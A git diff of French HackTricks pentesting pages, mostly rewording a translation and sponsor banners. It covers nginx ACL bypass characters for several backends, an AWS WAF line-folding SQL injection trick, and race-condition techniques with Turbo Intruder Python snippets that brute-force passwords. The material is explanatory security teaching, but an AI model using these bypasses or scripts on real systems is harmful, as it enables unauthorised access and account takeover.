* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PRs aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,13 +2,15 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -28,34 +30,34 @@ deny all;
|
|||
|
||||
<figure><img src="../.gitbook/assets/image (713).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
* Comme Nginx inclut le caractère `\xa0` dans le chemin d'accès, la règle ACL pour l'URI `/admin` ne sera pas déclenchée. Par conséquent, Nginx transmettra le message HTTP à l'arrière-plan ;
|
||||
* Lorsque le serveur Node.js reçoit l'URI `/admin\x0a`, le caractère `\xa0` sera supprimé, permettant ainsi la récupération réussie de l'endpoint `/admin`.
|
||||
* Comme Nginx inclut le caractère `\xa0` dans le chemin, la règle ACL pour l'URI `/admin` ne sera pas déclenchée. Par conséquent, Nginx transmettra le message HTTP au backend ;
|
||||
* Lorsque l'URI `/admin\x0a` est reçu par le serveur Node.js, le caractère `\xa0` sera supprimé, permettant ainsi de récupérer avec succès le point de terminaison `/admin`.
|
||||
|
||||
| Version Nginx | **Caractères de contournement Node.js** |
|
||||
| ------------- | -------------------------------------- |
|
||||
| 1.22.0 | `\xA0` |
|
||||
| 1.21.6 | `\xA0` |
|
||||
| 1.20.2 | `\xA0`, `\x09`, `\x0C` |
|
||||
| 1.18.0 | `\xA0`, `\x09`, `\x0C` |
|
||||
| 1.16.1 | `\xA0`, `\x09`, `\x0C` |
|
||||
| ------------- | --------------------------------------- |
|
||||
| 1.22.0 | `\xA0` |
|
||||
| 1.21.6 | `\xA0` |
|
||||
| 1.20.2 | `\xA0`, `\x09`, `\x0C` |
|
||||
| 1.18.0 | `\xA0`, `\x09`, `\x0C` |
|
||||
| 1.16.1 | `\xA0`, `\x09`, `\x0C` |
|
||||
|
||||
### Flask
|
||||
|
||||
Flask supprime les caractères `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` et `\x09` du chemin d'accès de l'URL, mais NGINX ne le fait pas.
|
||||
Flask supprime les caractères `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B`, et `\x09` du chemin de l'URL, mais NGINX ne le fait pas.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (714).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
| Version Nginx | **Caractères de contournement Flask** |
|
||||
| ------------- | ------------------------------------------------------------------------ |
|
||||
| 1.22.0 | `\x85`, `\xA0` |
|
||||
| 1.21.6 | `\x85`, `\xA0` |
|
||||
| 1.20.2 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
|
||||
| 1.18.0 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
|
||||
| 1.16.1 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
|
||||
| Version Nginx | **Caractères de contournement Flask** |
|
||||
| ------------- | ---------------------------------------------------------------- |
|
||||
| 1.22.0 | `\x85`, `\xA0` |
|
||||
| 1.21.6 | `\x85`, `\xA0` |
|
||||
| 1.20.2 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
|
||||
| 1.18.0 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
|
||||
| 1.16.1 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
|
||||
|
||||
### Spring Boot <a href="#heading-bypassing-nginx-acl-rules-with-spring-boot" id="heading-bypassing-nginx-acl-rules-with-spring-boot"></a>
|
||||
|
||||
Ci-dessous, vous trouverez une démonstration de la façon dont la protection ACL peut être contournée en ajoutant le caractère `\x09` ou à la fin du chemin d'accès :
|
||||
Ci-dessous, vous trouverez une démonstration de la façon dont la protection ACL peut être contournée en ajoutant le caractère `\x09` ou `;` à la fin du chemin :
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (715).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -80,7 +82,7 @@ include snippets/fastcgi-php.conf;
|
|||
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
|
||||
}
|
||||
```
|
||||
Il est possible de contourner cela en accédant à `/admin.php/index.php` :
|
||||
Il est possible de le contourner en accédant à `/admin.php/index.php` :
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (716).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -94,9 +96,9 @@ location ~* ^/admin {
|
|||
deny all;
|
||||
}
|
||||
```
|
||||
## Contournement de l'ACL AWS WAF avec le pliage de ligne <a href="#heading-bypassing-aws-waf-acl-with-line-folding" id="heading-bypassing-aws-waf-acl-with-line-folding"></a>
|
||||
## Contournement de AWS WAF ACL avec le pliage de ligne <a href="#heading-bypassing-aws-waf-acl-with-line-folding" id="heading-bypassing-aws-waf-acl-with-line-folding"></a>
|
||||
|
||||
Il est possible de contourner la protection AWS WAF dans un en-tête HTTP en utilisant la syntaxe suivante, où AWS WAF ne comprendra pas que l'en-tête X-Query contient une charge utile d'injection SQL tandis que le serveur node en arrière-plan le fera :
|
||||
Il est possible de contourner la protection AWS WAF dans un en-tête HTTP en utilisant la syntaxe suivante où le AWS WAF ne comprendra pas que l'en-tête X-Query contient une charge utile d'injection SQL alors que le serveur node derrière le comprendra :
|
||||
```http
|
||||
GET / HTTP/1.1\r\n
|
||||
Host: target.com\r\n
|
||||
|
@ -111,12 +113,14 @@ Connection: close\r\n
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,84 +1,86 @@
|
|||
# Condition de course
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) pour construire et **automatiser des flux de travail** alimentés par les outils communautaires **les plus avancés** au monde.\
|
||||
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser des workflows** grâce aux outils communautaires **les plus avancés**.\
|
||||
Obtenez l'accès aujourd'hui :
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Vous travaillez dans une **entreprise de cybersécurité** ? Vous voulez voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous accéder à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Exploiter une condition de course
|
||||
|
||||
Le principal problème pour abuser des conditions de course est que vous avez besoin que les requêtes soient traitées en parallèle avec un très court intervalle de temps (généralement >1ms). Dans la section suivante, différentes solutions sont proposées pour rendre cela possible.
|
||||
Le principal problème pour abuser des conditions de course est que vous avez besoin que les requêtes soient traitées en parallèle avec une très courte différence de temps (généralement >1ms). Dans la section suivante, différentes solutions sont proposées pour rendre cela possible.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (5) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (5) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Attaque par un seul paquet (HTTP/2) / Synchronisation du dernier octet (HTTP/1.1)
|
||||
|
||||
HTTP2 permet d'envoyer **2 requêtes dans une seule connexion TCP** (alors qu'en HTTP/1.1 elles doivent être séquentielles).\
|
||||
L'utilisation d'un seul paquet TCP élimine complètement **l'effet de la gigue réseau**, ce qui a clairement un potentiel pour les attaques par condition de course aussi. Cependant, **deux requêtes ne suffisent pas pour une attaque de course fiable** à cause de la **gigue côté serveur** - variations dans le temps de traitement des requêtes de l'application causées par des variables incontrôlables comme la contention CPU.
|
||||
L'utilisation d'un seul paquet TCP **élimine complètement l'effet du jitter réseau**, ce qui a clairement un potentiel pour les attaques par condition de course aussi. Cependant, **deux requêtes ne suffisent pas pour une attaque de course fiable** à cause du **jitter côté serveur** - variations dans le temps de traitement des requêtes de l'application causées par des variables incontrôlables comme la contention CPU.
|
||||
|
||||
Mais, en utilisant la technique '**synchronisation du dernier octet**' avec HTTP/1.1, il est possible de pré-envoyer la majeure partie des données en retenant un petit fragment de chaque requête, puis de 'compléter' **20-30 requêtes avec un seul paquet TCP**.
|
||||
Mais, en utilisant la technique de '**synchronisation du dernier octet**' avec HTTP/1.1, il est possible de pré-envoyer la majeure partie des données en retenant un petit fragment de chaque requête, puis de 'compléter' **20-30 requêtes avec un seul paquet TCP**.
|
||||
|
||||
Pour **pré-envoyer la majeure partie de chaque requête** :
|
||||
|
||||
* Si la requête n'a pas de corps, envoyez tous les en-têtes, mais ne définissez pas le drapeau END_STREAM. Retenez un cadre de données vide avec END_STREAM défini.
|
||||
* Si la requête n'a pas de corps, envoyez tous les en-têtes, mais ne définissez pas le drapeau END\_STREAM. Retenez un cadre de données vide avec END\_STREAM défini.
|
||||
* Si la requête a un corps, envoyez les en-têtes et toutes les données du corps sauf le dernier octet. Retenez un cadre de données contenant le dernier octet.
|
||||
|
||||
Ensuite, **préparez-vous à envoyer les cadres finaux** :
|
||||
|
||||
* Attendez 100 ms pour vous assurer que les cadres initiaux ont été envoyés.
|
||||
* Assurez-vous que TCP_NODELAY est désactivé - il est crucial que l'algorithme de Nagle regroupe les cadres finaux.
|
||||
* Attendez 100ms pour vous assurer que les cadres initiaux ont été envoyés.
|
||||
* Assurez-vous que TCP\_NODELAY est désactivé - il est crucial que l'algorithme de Nagle regroupe les cadres finaux.
|
||||
* Envoyez un paquet ping pour réchauffer la connexion locale. Si vous ne faites pas cela, la pile réseau du système d'exploitation placera le premier cadre final dans un paquet séparé.
|
||||
|
||||
Enfin, envoyez les cadres retenus. Vous devriez pouvoir vérifier qu'ils ont atterri dans un seul paquet en utilisant Wireshark.
|
||||
|
||||
{% hint style="info" %}
|
||||
Notez que cela **ne fonctionne pas pour les fichiers statiques** sur certains serveurs mais comme les fichiers statiques ne sont pas pertinents pour les attaques par condition de course. Mais les fichiers statiques sont sans importance pour les attaques par condition de course.
|
||||
Notez que cela **ne fonctionne pas pour les fichiers statiques** sur certains serveurs, mais les fichiers statiques ne sont pas pertinents pour les attaques par condition de course.
|
||||
{% endhint %}
|
||||
|
||||
En utilisant cette technique, vous pouvez faire en sorte que 20-30 requêtes arrivent simultanément au serveur - indépendamment de la gigue réseau :
|
||||
En utilisant cette technique, vous pouvez faire en sorte que 20-30 requêtes arrivent simultanément au serveur - indépendamment du jitter réseau :
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**S'adapter à l'architecture cible**
|
||||
**Adaptation à l'architecture cible**
|
||||
|
||||
Il convient de noter que de nombreuses applications sont situées derrière un serveur frontal, et celles-ci peuvent décider de transférer certaines requêtes via des connexions existantes vers le serveur principal, et de créer de nouvelles connexions pour d'autres.
|
||||
Il est important de noter que de nombreuses applications sont situées derrière un serveur frontal, et celles-ci peuvent décider de transférer certaines requêtes via des connexions existantes vers le serveur de fond, et de créer de nouvelles connexions pour d'autres.
|
||||
|
||||
En conséquence, il est important de ne pas attribuer un temps de traitement des requêtes incohérent au comportement de l'application, tel que des mécanismes de verrouillage qui ne permettent qu'à un seul fil d'accéder à une ressource à la fois. De plus, le routage des requêtes frontales est souvent effectué sur une base par connexion, donc vous pourriez être en mesure de lisser le temps de traitement des requêtes en effectuant un réchauffement de connexion côté serveur - **envoyant quelques requêtes sans conséquence dans votre connexion avant de réaliser l'attaque** (cela consiste juste à envoyer plusieurs requêtes avant de commencer l'attaque réelle).
|
||||
En conséquence, il est important de ne pas attribuer un timing de requête incohérent à un comportement d'application tel que des mécanismes de verrouillage qui ne permettent qu'à un seul thread d'accéder à une ressource à la fois. De plus, le routage des requêtes frontales est souvent effectué sur une base par connexion, donc vous pourriez être en mesure de régulariser le timing des requêtes en effectuant un réchauffement de connexion côté serveur - **envoyant quelques requêtes insignifiantes dans votre connexion avant de réaliser l'attaque** (cela consiste juste à envoyer plusieurs requêtes avant de commencer l'attaque réelle).
|
||||
|
||||
#### Mécanismes de verrouillage basés sur la session <a href="#session-based-locking-mechanisms" id="session-based-locking-mechanisms"></a>
|
||||
|
||||
Certains frameworks tentent de prévenir la corruption accidentelle des données en utilisant une forme de **verrouillage des requêtes**. Par exemple, le module de **gestionnaire de session natif de PHP** ne traite qu'**une requête par session à la fois**.
|
||||
Certains frameworks tentent de prévenir la corruption accidentelle des données en utilisant une forme de **verrouillage des requêtes**. Par exemple, le module de gestion de session natif de **PHP** ne traite qu'**une requête par session à la fois**.
|
||||
|
||||
Il est extrêmement important de repérer ce type de comportement car il peut sinon masquer des vulnérabilités trivialement exploitables. Si vous remarquez que toutes vos requêtes sont traitées séquentiellement, essayez d'envoyer chacune d'elles en utilisant un jeton de session différent.
|
||||
Il est extrêmement important de repérer ce type de comportement car il peut sinon masquer des vulnérabilités trivialement exploitables. Si vous remarquez que toutes vos requêtes sont traitées séquentiellement, essayez d'envoyer chacune d'elles en utilisant un token de session différent.
|
||||
|
||||
#### **Abuser des limites de taux ou de ressources**
|
||||
|
||||
Si le réchauffement de la connexion ne fait aucune différence, il existe diverses solutions à ce problème.
|
||||
Si le réchauffement de connexion ne fait aucune différence, il existe diverses solutions à ce problème.
|
||||
|
||||
En utilisant Turbo Intruder, vous pouvez introduire un court délai côté client. Cependant, comme cela implique de diviser vos requêtes d'attaque réelles en plusieurs paquets TCP, vous ne pourrez pas utiliser la technique d'attaque par un seul paquet. En conséquence, sur des cibles à forte gigue, l'attaque est peu susceptible de fonctionner de manière fiable, quel que soit le délai que vous définissez.
|
||||
En utilisant Turbo Intruder, vous pouvez introduire un court délai côté client. Cependant, comme cela implique de diviser vos requêtes d'attaque réelles en plusieurs paquets TCP, vous ne pourrez pas utiliser la technique d'attaque par un seul paquet. En conséquence, sur des cibles à fort jitter, l'attaque est peu susceptible de fonctionner de manière fiable, quel que soit le délai que vous définissez.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Au lieu de cela, vous pourriez être en mesure de résoudre ce problème en abusant d'une fonctionnalité de sécurité courante.
|
||||
|
||||
Les serveurs Web retardent souvent **le traitement des requêtes si trop sont envoyées trop rapidement**. En envoyant un grand nombre de requêtes factices pour déclencher intentionnellement la limite de taux ou de ressources, vous pourriez être en mesure de provoquer un délai côté serveur approprié. Cela rend l'attaque par un seul paquet viable même lorsque l'exécution retardée est requise.
|
||||
Les serveurs Web retardent souvent le traitement des requêtes si trop sont envoyées trop rapidement. En envoyant un grand nombre de requêtes factices pour déclencher intentionnellement la limite de taux ou de ressources, vous pourriez être en mesure de provoquer un délai côté serveur approprié. Cela rend l'attaque par un seul paquet viable même lorsque l'exécution retardée est requise.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% hint style="warning" %}
|
||||
Pour plus d'informations sur cette technique, consultez le rapport original sur [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
|
||||
|
@ -86,9 +88,9 @@ Pour plus d'informations sur cette technique, consultez le rapport original sur
|
|||
|
||||
#### Exemples d'attaque
|
||||
|
||||
* **Turbo Intruder - Attaque par un seul paquet HTTP2 (1 point de terminaison)** : Vous pouvez envoyer la requête à **Turbo Intruder** (`Extensions` -> `Turbo Intruder` -> `Envoyer à Turbo Intruder`), vous pouvez changer dans la requête la valeur que vous souhaitez forcer par brute force pour **`%s`** comme dans `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` et ensuite sélectionner le **`examples/race-single-packer-attack.py`** dans le menu déroulant :
|
||||
* **Turbo Intruder - Attaque par un seul paquet HTTP2 (1 point de terminaison)** : Vous pouvez envoyer la requête à **Turbo Intruder** (`Extensions` -> `Turbo Intruder` -> `Envoyer à Turbo Intruder`), vous pouvez changer dans la requête la valeur que vous souhaitez forcer pour **`%s`** comme dans `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` puis sélectionnez **`examples/race-single-packer-attack.py`** dans le menu déroulant :
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (4) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (4) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Si vous allez **envoyer différentes valeurs**, vous pourriez modifier le code avec celui qui utilise une liste de mots du presse-papiers :
|
||||
```python
|
||||
|
@ -97,7 +99,7 @@ for password in passwords:
|
|||
engine.queue(target.req, password, gate='race1')
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
Si le web ne prend pas en charge HTTP2 (seulement HTTP1.1), utilisez `Engine.THREADED` ou `Engine.BURP` au lieu de `Engine.BURP2`.
|
||||
Si le web ne supporte pas HTTP2 (seulement HTTP1.1), utilisez `Engine.THREADED` ou `Engine.BURP` au lieu de `Engine.BURP2`.
|
||||
{% endhint %}
|
||||
|
||||
* **Tubo Intruder - Attaque en un seul paquet HTTP2 (Plusieurs points de terminaison)** : Si vous devez envoyer une requête à 1 point de terminaison puis plusieurs à d'autres points de terminaison pour déclencher le RCE, vous pouvez modifier le script `race-single-packet-attack.py` avec quelque chose comme :
|
||||
|
@ -132,19 +134,19 @@ engine.queue(confirmationReq, gate=currentAttempt)
|
|||
engine.openGate(currentAttempt)
|
||||
```
|
||||
* Il est également disponible dans **Repeater** via la nouvelle option '**Envoyer le groupe en parallèle**' dans Burp Suite.
|
||||
* Pour **limit-overrun**, vous pourriez simplement ajouter **la même requête 50 fois** dans le groupe.
|
||||
* Pour **connection warming**, vous pourriez **ajouter** au **début** du **groupe** quelques **requêtes** vers une partie non statique du serveur web.
|
||||
* Pour **retarder** le processus **entre** le traitement **d'une requête et d'une autre** en 2 étapes de sous-états, vous pourriez **ajouter des requêtes supplémentaires entre** les deux requêtes.
|
||||
* Pour un RC **multi-endpoint**, vous pourriez commencer par envoyer la **requête** qui **va vers l'état caché** puis **50 requêtes** juste après qui **exploitent l'état caché**.
|
||||
* Pour un **dépassement de limite**, vous pourriez simplement ajouter **la même requête 50 fois** dans le groupe.
|
||||
* Pour le **préchauffage de connexion**, vous pourriez **ajouter** au **début** du **groupe** quelques **requêtes** vers une partie non statique du serveur web.
|
||||
* Pour **retarder** le processus **entre** le traitement **d'une requête et une autre** en 2 étapes de sous-états, vous pourriez **ajouter des requêtes supplémentaires entre** les deux requêtes.
|
||||
* Pour un RC **multi-point d'accès**, vous pourriez commencer par envoyer la **requête** qui **va vers l'état caché** puis **50 requêtes** juste après qui **exploitent l'état caché**.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Raw BF
|
||||
### BF Brut
|
||||
|
||||
Avant les recherches précédentes, voici quelques payloads utilisés qui tentaient simplement d'envoyer les paquets le plus rapidement possible pour provoquer un RC.
|
||||
Avant les recherches précédentes, voici quelques charges utiles utilisées qui tentaient simplement d'envoyer les paquets aussi rapidement que possible pour provoquer un RC.
|
||||
|
||||
* **Repeater :** Consultez les exemples de la section précédente.
|
||||
* **Intruder :** Envoyez la **requête** à **Intruder**, réglez le **nombre de threads** à **30** dans le **menu Options et,** sélectionnez comme payload **Null payloads** et générez **30.**
|
||||
